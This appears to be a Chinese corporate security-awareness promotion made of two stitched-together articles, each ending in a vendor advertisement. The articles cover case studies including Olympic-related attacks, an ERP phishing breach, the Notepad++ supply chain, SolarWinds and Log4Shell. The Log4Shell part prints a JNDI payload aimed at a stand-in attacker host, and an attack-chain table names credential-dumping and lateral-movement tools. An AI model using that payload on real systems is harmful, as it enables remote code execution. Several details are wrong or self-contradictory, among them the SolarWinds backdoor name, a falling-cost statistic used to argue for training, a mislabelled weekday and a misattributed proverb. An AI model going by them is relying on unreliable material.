---

一、头脑风暴：如果黑客在我们身边“开派对”会怎样？

想象一下，明天清晨，你正走进公司大楼，咖啡机正嗡嗡作响。忽然，安保摄像头的画面里出现了不速之客——一群身披黑客“斗篷”的匿名者，正准备潜入企业网络的“后厨房”。如果这场“黑客派对”恰好在全球瞩目的赛事、关键业务或国家基础设施前夜上演，会产生怎样的连锁反应？

• 情景一：在意大利的冬季奥运会即将拉开序幕之际，俄国黑客组织将目标锁定在赛场酒店、交通系统以及政府部门。若防御失效，可能导致赛事停摆、国际声誉受损，甚至波及全球旅游业链条。
• 情景二：在某国内大型制造企业的生产线上，黑客通过钓鱼邮件侵入ERP系统，篡改生产计划，导致数千件产品错报、库存失调，直接造成数亿元的经济损失。若此时正值企业年度审计季，后果更是雪上加霜。

这两个看似不相关的场景，却拥有相同的根本——信息安全意识的缺失。当员工对潜在威胁缺乏警觉、对防护措施不熟悉，任何一次小小的失误都可能点燃“网络导火线”。下面，让我们从真实案例出发，深度剖析背后的教训，进而为全体职工构筑一座坚固的“信息安全防线”。

---

二、案例一：意大利在奥运前夜成功拦截俄国黑客攻击

1. 背景概述

2026年2月5日，意大利在米兰与科尔蒂纳丹佩佐共同承办的冬季奥运会即将开幕。就在赛前两天，意大利外交部长安东尼奥·塔亚尼（Antonio Tajani）在华盛顿向美国媒体透露，多起源自俄罗斯的网络攻击已被成功拦截，攻击目标包括：

• 开幕式所在地的几家五星级酒店；
• 负责赛事交通调度的政府部门；
• 部分奥运组织委员会的内部服务器。

该信息由德国新闻社（dpa）披露，并得到意大利国家网络安全中心的证实。塔亚尼在访问华盛顿期间表示，“网络安全已经成为关键因素，我对安全部门的表现非常满意”。

2. 攻击手法细节

• 钓鱼邮件：攻击者向奥运相关工作人员发送伪装成官方通知的邮件，诱导受害者点击恶意链接或下载植入后门的文档。
• 漏洞利用：利用未打补丁的运营系统（例如旧版Windows Server）和公开的第三方组件（如未更新的内容管理系统）植入勒索软件或间谍程序。
• 分布式拒绝服务（DDoS）：通过僵尸网络对赛事官网和票务平台发起流量洪水，试图造成服务中断、信息泄露与舆论混乱。

3. 防御措施与关键成功要素

1. 多层次情报共享：意大利情报部门与欧盟网络安全中心（ENISA）、美国网络安全与基础设施安全局（CISA）实现实时威胁情报共享，提前获悉攻击工具、指令与C2服务器地址。
2. 预演演练：在奥运倒计时的关键节点，组织了跨部门的“红蓝对抗演练”。红队模拟黑客攻击，蓝队则检验应急响应流程、日志审计与备份恢复能力。
3. 零信任架构（Zero Trust）：对所有内部系统实施最小权限原则，每一次访问请求均经过强身份验证（多因素认证）和持续行为分析。
4. 快速封堵与补丁管理：安全运营中心（SOC）采用自动化威胁检测平台（SIEM + SOAR），在检测到异常行为后，能够在数分钟内完成封禁恶意IP、隔离受感染终端并部署应急补丁。
5. 安全意识培训：在赛前一个月，所有与奥运有关的工作人员完成了“社交工程防护”线上课程，涵盖钓鱼邮件识别、密码管理与移动设备安全等要点。

4. 案例启示

• 情报为先：跨国情报协作显著提升了防御时效。企业若想在全球供应链环境中保持竞争力，同样需要构建与行业协会、CERT等机构的情报共享网络。
• 自动化不可或缺：面对大规模、快速演变的攻击，单纯依赖人工分析已难以实时响应。采用AI驱动的安全编排（SOAR）可实现“检测‑响应‑恢复”闭环。
• 全员防线：技术防护固然重要，但人是最薄弱的环节。持续的安全意识培训与实战演练，使员工从“被动防御者”转变为“主动侦测者”。

---

三、案例二：国内某制造业巨头因钓鱼邮件导致ERP系统被篡改

1. 事件概述

2025年11月，A公司（一家在国内拥有数十条生产线的汽车零部件制造商）在例行的年度审计准备阶段，突然发现核心ERP系统的生产计划被多人篡改，导致原本计划在12月1日投产的几款新车型关键零部件出现缺货。进一步调查后，安全团队定位到一次成功的钓鱼邮件攻击——一名财务部门的员工在收到“税务局缴税通知”邮件后点击了嵌入的恶意链接，导致内部网络被植入后门。

2. 攻击链拆解

阶段	具体行为	攻击者使用的工具
诱导	伪装成税务局邮件，使用官方徽标和正式语气	社会工程套件（Social-Engineer Toolkit）
初始访问	恶意链接指向含有PowerShell脚本的文件，利用Windows脚本执行漏洞	PowerShell Empire
横向移动	通过凭证抓取（Credential Dumping）获取管理员账号，利用SMB协议在网络内部快速扩散	Mimikatz、PsExec
持久化	在关键服务器植入Scheduled Task，确保每次系统启动时自动执行后门	Windows Task Scheduler
阶段性破坏	篡改ERP数据库中的生产计划表，导致系统误报库存信息	自制SQL注入脚本
数据泄露	将关键业务数据通过加密通道上传至外部C2服务器	OpenSSH隧道

3. 事后处置与成本

• 恢复时间：系统完整恢复并重新校准生产计划共计48小时，期间工厂停产两天，直接产值损失约为4,200万元人民币。
• 声誉损失：供应链合作伙伴对A公司交付能力产生质疑，导致后续合同谈判中被迫让价。
• 合规罚款：因未能在规定期限内向监管部门报告数据泄露，受到约150万元的行政处罚。

4. 案例教训

1. 钓鱼防御是首要关卡：即使是资深员工，也会在精心伪装的邮件面前失误。企业必须部署邮件网关的AI反钓鱼过滤、多因素认证以及实时URL安全检查。
2. 最小化特权原则：财务人员不应拥有对ERP系统的管理权限，尤其是对生产计划数据库的写入权限必须进行严格分级。
3. 日志全链路审计：对关键系统的访问、变更操作应实行不可篡改的日志记录（如使用ELK+Blockchain），在异常时能够快速定位责任链。
4. 备份与灾难恢复：ERP系统的日增量备份必须在物理上与主系统隔离，并定期进行恢复演练，确保在被篡改后能在最短时间内回滚。
5. 安全文化浸润：一次成功的钓鱼攻击往往是“安全文化缺失”的直接体现。企业应将安全培训嵌入岗位职责，让每位员工都成为“第一道防线”。

---

四、信息化、具身智能化、自动化融合的新时代——安全挑战与机遇并存

1. 信息化的深度渗透

过去十年，企业从传统IT逐步迈向云原生、微服务架构。业务系统、客户数据、供应链平台全部上云，API接口成为内部与外部系统交互的核心。与此同时，容器化技术（Docker、Kubernetes）加速了业务部署速度，却也带来了容器逃逸、镜像后门等新型威胁。

2. 具身智能化（Embodied Intelligence）

随着IoT、工业机器人、自动化生产线的普及，物理世界与数字世界的边界日益模糊。传感器采集的数据直接喂给AI模型用于预测性维护；机器手臂在生产线上执行关键工序，一旦被入侵，“制造业的安全链”可能瞬间断裂。
– 攻击载体：恶意固件、供应链植入的隐蔽后门。
– 影响面：从数据篡改到物理破坏，危害从信息层面上升至安全层面。

3. 自动化的双刃剑

安全编排与自动响应（SOAR）帮助企业在秒级完成威胁遏制；然而自动化脚本若被黑客劫持，便可成为横向移动的加速器。企业在追求效率的同时，必须对自动化工具进行安全加固：代码审计、最小权限执行、运行时监控等不可或缺。

4. 融合趋势下的安全需求

发展方向	关键安全需求	推荐实践
云原生	容器安全、服务网格（Service Mesh）访问控制	使用OPA（Open Policy Agent）实现细粒度策略；容器镜像签名（Notary）
AI/ML	模型防篡改、数据完整性	对训练数据实行审计链；模型推理过程使用安全硬件（TPM/SGX）
IoT/OT	设备身份认证、固件完整性验证	采用PKI为每个设备颁发唯一证书；实施OTA安全更新机制
自动化	自动化脚本安全、执行日志不可篡改	采用代码签名；将执行日志写入不可变的日志系统（如区块链）

---

五、号召：让每位员工成为信息安全的“守护者”

尊敬的同事们，安全不是IT部门的专属职责，而是全员参与的协同工程。在当下信息化、具身智能化、自动化深度融合的背景下，任何一次轻率的点击、一次疏忽的口令管理，都可能为黑客打开“后门”。正如意大利在奥运前夜所展示的：只有技术、情报、制度和人力三者紧密结合，才能筑起不可逾越的防线。

为此，公司即将在本月启动 “全员信息安全意识培训计划”，具体安排如下：

1. 线上学习模块（共5课时）
   • 网络钓鱼与社会工程学：通过真实案例演练，提高邮件、短信、社交平台的风险辨识能力。
   • 密码与身份管理：介绍密码学基础、密码管理工具、MFA部署细节。
   • 云安全与容器防护：解析云资源误配置、容器镜像安全、Kubernetes RBAC。
   • 物联安全与供应链防护：讲解设备固件签名、供应链安全评估、OT安全最佳实践。
   • 安全响应与报告流程：演示SOC的工作流、事件上报渠道、合规报告要求。
2. 线下实战演练（每部门半天）
   • 红蓝对抗：红队模拟钓鱼攻击、内部横向渗透，蓝队现场应急响应。
   • 灾备演练：基于公司核心业务系统的备份恢复、日志审计演练。
3. 考核与激励
   • 完成所有学习模块并通过在线测评的员工，将获得信息安全守护者证书，并可在年度绩效评定中获得加分。
   • 每季度评选“最佳安全倡导者”，授予公司内部荣誉及奖励。
4. 持续学习平台
   • 搭建安全知识库（Wiki），实时更新行业威胁情报、技术防护方案，所有员工均可自由查询、贡献。

培训价值——超越合规，提升竞争力

• 降低风险成本：据IDC预测，安全事件的平均成本每年下降约 22%，对企业利润率的正向影响显而易见。
• 提升业务韧性：通过安全演练，业务连续性计划（BCP）得到验证，突发事件的恢复时间（RTO）可缩短至 30分钟 以内。
• 增强品牌信任：在客户与合作伙伴日益关注数据安全的当下，展示公司强大的安全治理能力，可赢得更多合作机会。
• 符合监管要求：如《网络安全法》《个人信息保护法》以及欧盟GDPR等法规，对企业信息安全有明确的合规要求，培训成果将形成合规审计的有力证据。

---

六、结语：携手共筑“数字防线”，让安全融入每一次点击

信息安全并非遥不可及的高科技专属，它存在于我们每天打开的每一封邮件、每一次登录的每一个账号、每一次上传的每一份文件之中。正如意大利在奥运前夕凭借“情报共享＋技术防护＋全员演练”的“三位一体”策略成功化解了俄罗斯黑客的猛力进攻，也正如国内制造业巨头因“一次钓鱼失误”付出了沉重代价，每一次防护的成功与失败，都离不开每位员工的主动参与。

让我们把 “安全意识” 从口号转化为日常的思考方式，把 “防御” 从技术层面延伸到行为习惯，把 “合规” 与 “创新” 同步推进。即将在公司内部启动的安全意识培训，是一次提升个人技术素养、强化组织防御能力的绝佳契机。从今天起，主动点击学习链接，参加线下演练，让我们共同在信息化、具身智能化、自动化的浪潮中，守住企业的数字领土，保驾护航每一次业务创新。

信息安全，人人有责；安全培训，刻不容缓。让我们在即将到来的培训中相聚，用知识点亮防线，用行动抵御威胁，为公司、为行业、为国家的网络空间安全贡献力量！

---

昆明亭长朗然科技有限公司提供全球化视野下的合规教育解决方案，帮助企业应对跨国运营中遇到的各类法律挑战。我们深谙不同市场的特殊需求，并提供个性化服务以满足这些需求。有相关兴趣或问题的客户，请联系我们。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898

---

一、头脑风暴：四起惊涛骇浪的真实案例

在信息安全的海域里，波涛汹涌的并非只是一面镜子，而是一次次让企业高层、技术骨干甚至普通员工心惊肉跳的“暗流”。下面，先抛出四个典型且极具教育意义的案例，让大家在真实的血肉之躯中看到抽象的风险，进而体会防守的重要性。

案例	时间 / 受害方	攻击手法概括	教训要点
1. Notepad++ 供应链三波攻击	2025‑06~2025‑12；澳洲、菲律宾、越南、萨尔瓦多等十余台终端	恶意 NSIS 安装包劫持官方更新，分三条链路：① 初步情报搜集 + ProShow 漏洞利用；② Lua‑Shellcode + Metasploit 下载 Cobalt Strike；③ 合法文件 BluetoothService.exe + log.dll 侧载后门 Chrysalis	更新渠道非金不可——任何自动更新机制都是潜在的攻击入口；分层链路提醒我们要“全链路可视化”。
2. SolarWinds Orion 供应链大泄漏	2020‑2020；美国联邦机构等 18,000+ 客户	攻击者在 Orion 编译过程植入后门，借助官方签名包横跨全球超过 100 万台系统	代码签名不等于安全——信任链一旦被破坏，影响呈指数级放大；跨组织协作是检测的关键。
3. Log4j “Log4Shell” 远程代码执行	2021‑2021；全球数十万 Java 应用	攻击者利用日志输入的 JNDI 查找功能，触发远程 RCE，危害从单机到云原生微服务全线爆发	输入校验是根本；“零信任”理念在未修补的老旧组件面前依旧无力，必须做好资产清单和补丁管理。
4. 工业控制系统（ICS）假更新攻击	2023‑2023；某国电网运营商	攻击者伪装为 Schneider Electric 官方升级包，植入恶意 DLL，使攻击者远程控制 PLC，导致停电事故	“假装合法”是最具欺骗性的手段；离线验证、双因素签名是防止此类攻击的良方。

思考题：如果上述四个案例的共性都是“信任被伪装”，那么我们在日常工作中，如何辨别“真伪”并及时止损？下面的章节将为大家逐一拆解。

---

二、案例深度剖析：从“表面”到“本质”

1. Notepad++ 供应链三波攻击——从“情报收集”到“后门扎根”

“千里之堤，溃于蚁孔”。——《三国演义》

• 第一波（7‑8 月）
  • 攻击路径：利用官方更新服务器的下载链接，植入约 1 MB 大小的 NSIS 安装包。该包在执行后，先收集 OS、用户权限、环境变量等信息回传 C2。
  • 亮点：攻击者没有直接发布恶意负载，而是“先探路、后打洞”。通过 ProShow.exe 已知漏洞进行 DLL 侧载，以此规避传统 AV 的检测签名。
  • 防御建议：对所有第三方更新进行二次校验（哈希比对、签名验证）。同时在网络层面做 DNS Sinkhole 与 URL Filtering，阻断异常 C2 域名。
• 第二波（9 月）
  • 攻击路径：NSIS 包体积下降至 140 KB，内嵌 Lua 脚本解释器与 Metasploit 下载器，直接向 temp.sh 发送系统信息，随后下载 Cobalt Strike Beacon。
  • 亮点：攻击者把“信息收集”和“代码执行”合并，利用 Lua 运行时的灵活性在内存中动态注入 Shellcode。
  • 防御建议：启用 PowerShell Constrained Language Mode、Lua 运行时白名单；在终端监控中加入 动态行为分析（如异常进程树、网络流量异常）。
• 第三波（10 月）
  • 攻击路径：最终植入合法文件 BluetoothService.exe 与恶意 DLL log.dll，采用 DLL 侧载方式加载后门 Chrysalis，不再使用 Cobalt Strike。
  • 亮点：从“显眼的 C2”转向“隐身的持久化”，攻击者显然已完成目标筛选，进入深度渗透阶段。
  • 防御建议：部署 EDR（终端检测与响应）并开启 文件完整性监控（FIM），对系统目录（尤其 System32、Program Files）的新增/修改文件进行即时告警。

总结：该案例充分展示了 供应链攻击的渐进式——从信息搜集到持久化后门，每一步都在测试、防御、再升级。企业必须 全程可视化（从 CI/CD 到终端）并 持续审计。

2. SolarWinds Orion：一次代码签名的“逆袭”

• 攻击流程
  1. 攻击者在 Orion 编译环境中插入恶意代码（Titanium 代理），并完成官方签名。
  2. 受害组织通过正常渠道更新 Orion，恶意代码随之进入内部网络。
  3. 攻击者利用后门在受害者网络内部横向移动，窃取邮件、凭证等敏感信息。
• 关键失误
  • 信任链过度简化：仅凭签名即放行，未对二进制进行独立校验。
  • 缺乏供应链可追溯性：未记录每一次构建、签名的 元数据（例如构建机器指纹、时间戳）。
• 对策
  • 实施 SBOM（Software Bill of Materials），对每一组件的来源、版本、校验值建立可追溯链。
  • 采用可信执行环境（TEE），在构建阶段对签名进行二次验证。
  • 引入“零信任”网络理念：即使是内部系统也必须经过身份验证和最小权限授权。

3. Log4j “Log4Shell”：一次日志的致命疏漏

• 技术细节
  • 利用 ${jndi:ldap://attacker.com/a} 语法，触发 JNDI 查找，导致远程加载恶意类。
  • 受影响范围从 Java Web 应用到容器编排平台（Kubernetes），一旦被利用，攻击者可以直接获取 系统级 Shell。
• 防御误区
  • 只在 Web 层 加装 WAF，却忽视 内部服务间的日志收集。
  • 认为 补丁 即可，一旦系统停机，业务线立即受到冲击。
• 最佳实践
  • 禁用 JNDI：在 log4j2.formatMsgNoLookups=true 或直接升级至 2.17+。
  • 日志脱敏：对外部输入的日志字段进行白名单过滤。
  • 自动化补丁管理：使用 IaC（Infrastructure as Code） 描述平台配置，配合 CI/CD 自动化推送补丁。

4. 工业控制系统的假更新攻击：从“灯塔”到“黑灯”

• 攻击路径
  1. 攻击者伪装成 Schneider Electric 官方更新邮件，附带恶意 DLL。
  2. 受害运维人员在离线网络（Air‑Gap）中手动安装，恶意 DLL 通过 DLL 劫持破坏 PLC 程序。
  3. 关键设施出现 意外停机 或 数据篡改，导致巨额经济损失与信誉危机。
• 痛点
  • 离线网络的信任假设：认为不连网就安全，却忽略了物理介质的安全。
  • 缺乏双重验证：更新文件未进行数字签名或人工核对。
• 防护措施
  • 对所有 外部介质（U 盘、光盘）执行 硬件白名单 且在受限电脑中进行 病毒沙箱扫描。
  • 实施 双因素签名（SHA‑256 + 可信根 CA），并要求运维人员使用 分层审批流程。
  • 引入 安全审计日志，记录每一次 OTA（Over‑The‑Air）更新的细节，便于事后追溯。

---

三、数字化浪潮下的安全叙事：智能化、数智化、数字化的交叉点

“工欲善其事，必先利其器”。——《论语》

在 AI、大数据、云原生、微服务 如潮水般铺开的今天，信息安全不再是单一的“防火墙”，而是 全链路、全场景、全要素 的系统工程。以下四大趋势是我们必须正视的“双刃剑”。

趋势	安全机遇	安全挑战
智能化（AI/ML）	行为异常检测、自动化威胁狩猎	对抗对手的 对抗样本 与 模型投毒
数智化（Data‑Intelligence）	数据血缘追踪、实时风险评分	大数据平台的 权限横向泄露 与 误用
数字化（云‑Edge）	弹性伸缩、零信任网络	多租户隔离 与 跨域身份 的管理复杂度
自动化（DevSecOps）	CI/CD 安全把控、IaC 静态扫描	流水线泄漏、 秘钥管理不当

1. AI 不是万能的“警犬”

在 EDR 与 XDR 产品中，AI 用于对进程行为、网络流量进行聚类和异常检测。但对手也在使用 AI：对抗样本可以让恶意代码在特征空间上“伪装”，从而逃避机器学习模型的检测。企业应当：

• 多模型冗余：结合基于规则的检测、基于统计的模型以及基于深度学习的模型，形成“多重防线”。
• 模型可解释性：使用 SHAP、LIME 等技术，让安全分析师能够快速定位报警根因。

2. 数据资产的“血统图谱”

数智化带来的 数据湖、数据仓库 让信息在组织内部无处不在。若缺乏细粒度的 数据访问审计，攻击者可以在获取一份数据后，快速扩散到关联业务系统。建议：

• 实施 数据标签化 与 动态访问控制（DAC），依据业务角色实时授予最小权限。
• 在关键数据（如个人身份信息、金融交易记录）上启用 加密 + 秘钥轮转。

3. 云‑Edge 环境的零信任

从本地服务器迁移到公有云、边缘节点后，传统的 “网络边界” 已经失效。零信任（Zero Trust）理念要求 每一次访问 都要经过身份验证与授权。落地要点：

• 使用 身份供给平台（IdP） 集成 SSO、MFA、条件访问策略。
• 对 服务网格（Service Mesh） 中的微服务调用进行 互相验证（mutual TLS），确保流量不可随意篡改。

4. 自动化的双刃剑

在 DevSecOps 流程中，代码审计、容器镜像扫描、基础设施即代码（IaC）安全检查已经实现“一键”。但自动化脚本本身 若被植入后门，同样会成为攻击通道。要点：

• 将 CI/CD 秘钥管理 与 硬件安全模块（HSM） 对接，避免明文存储。
• 对 流水线的每一步 都进行审计，尤其是 第三方插件 与 依赖库 的来源。

---

四、呼吁全员参与：信息安全意识培训即将开启

“知之者不如好之者，好之者不如乐之者”。——孔子

在技术与制度双轮驱动的今天，人的因素仍是最薄弱的环节。一次成功的攻击往往只需要 一个不慎的点击、一次疏忽的更新，或者 一次缺乏审计的操作。因此，我们将于 2026 年 2 月 12 日（星期五） 开启为期两周的 信息安全意识培训，覆盖以下核心模块：

1. 供应链安全基础——从 Notepad++ 到 SolarWinds，了解攻击链的完整生命周期。
2. 安全更新与数字签名——如何辨别真假更新，如何在离线环境安全升级。
3. 社交工程防范——钓鱼邮件、假冒客服、语音钓鱼（vishing）的实战演练。
4. AI 与安全的共生——认识 AI 攻防的最新趋势，学会使用 AI 工具提升个人检测能力。
5. 零信任实战——身份管理、设备健康检查、多因素认证的落地操作。
6. 应急响应与报告——如何快速上报安全事件、如何配合 SOC（安全运营中心）进行追踪。

培训方式

• 线上微课（每课时 15 分钟，碎片化学习），配合 互动问答 与 实时投票。
• 线下工作坊（在公司培训室），设置 红队/蓝队攻防演练，让大家切身体验“进攻者视角”。
• 情景剧 与 趣味测验：通过戏剧化的案例讲解，让枯燥的概念变得生动有趣。

参与激励

• 完成全部课时并通过 安全知识测验（合格线 85%）的同事，将获得 “安全护航者” 电子徽章，并计入年度绩效加分。
• 优秀学员将有机会参加 跨部门安全挑战赛，赢取 公司赞助的最新硬件设备（如智能手表、VR 头显）。

期望成果

• 全员安全认知提升 30%（通过前后测评对比）。
• 错误更新/误点率下降 70%（统计内部 IT 支持单）。
• SOC 告警响应时间缩短 20%（因员工具备初步分析能力）。

我们相信，安全不是某个部门的专利，而是全员的共同责任。通过本次培训，每位同事都能成为 “第一道防线”，在面对未知威胁时，从容应对、快速遏制。

---

五、结语：让安全文化根植于每一次点击

从 Notepad++ 的三波链路，到 SolarWinds 的全链路泄露；从 Log4j 的一句日志到 ICS 假更新 的停电闹剧，信息安全的教训无处不在。正如《孙子兵法》所云：

“上兵伐谋，其次伐交，其次伐兵，其下攻城”。

在数字化转型的浪潮里，我们的 “伐谋” 必须提前布局——安全教育 与 技术防护 双管齐下。让每一次点击、每一次更新、每一次代码提交都经过思考与核验，让每一位员工都能在自己的岗位上，成为 “安全的守门员”。

让我们携手并肩，以智慧点燃安全的灯塔，在智能化、数智化、数字化的交叉路口，守护企业的未来！

信息安全意识培训，期待您的积极参与！

---

随着数字化时代的到来，信息安全日益成为各行业关注的焦点。昆明亭长朗然科技有限公司通过定制培训和最新技术手段，帮助客户提升对网络威胁的应对能力。我们欢迎所有对信息安全感兴趣的企业联系我们。

• 电话：0871-67122372
• 微信、手机：18206751343
• 邮件：info＠securemymind.com
• QQ: 1767022898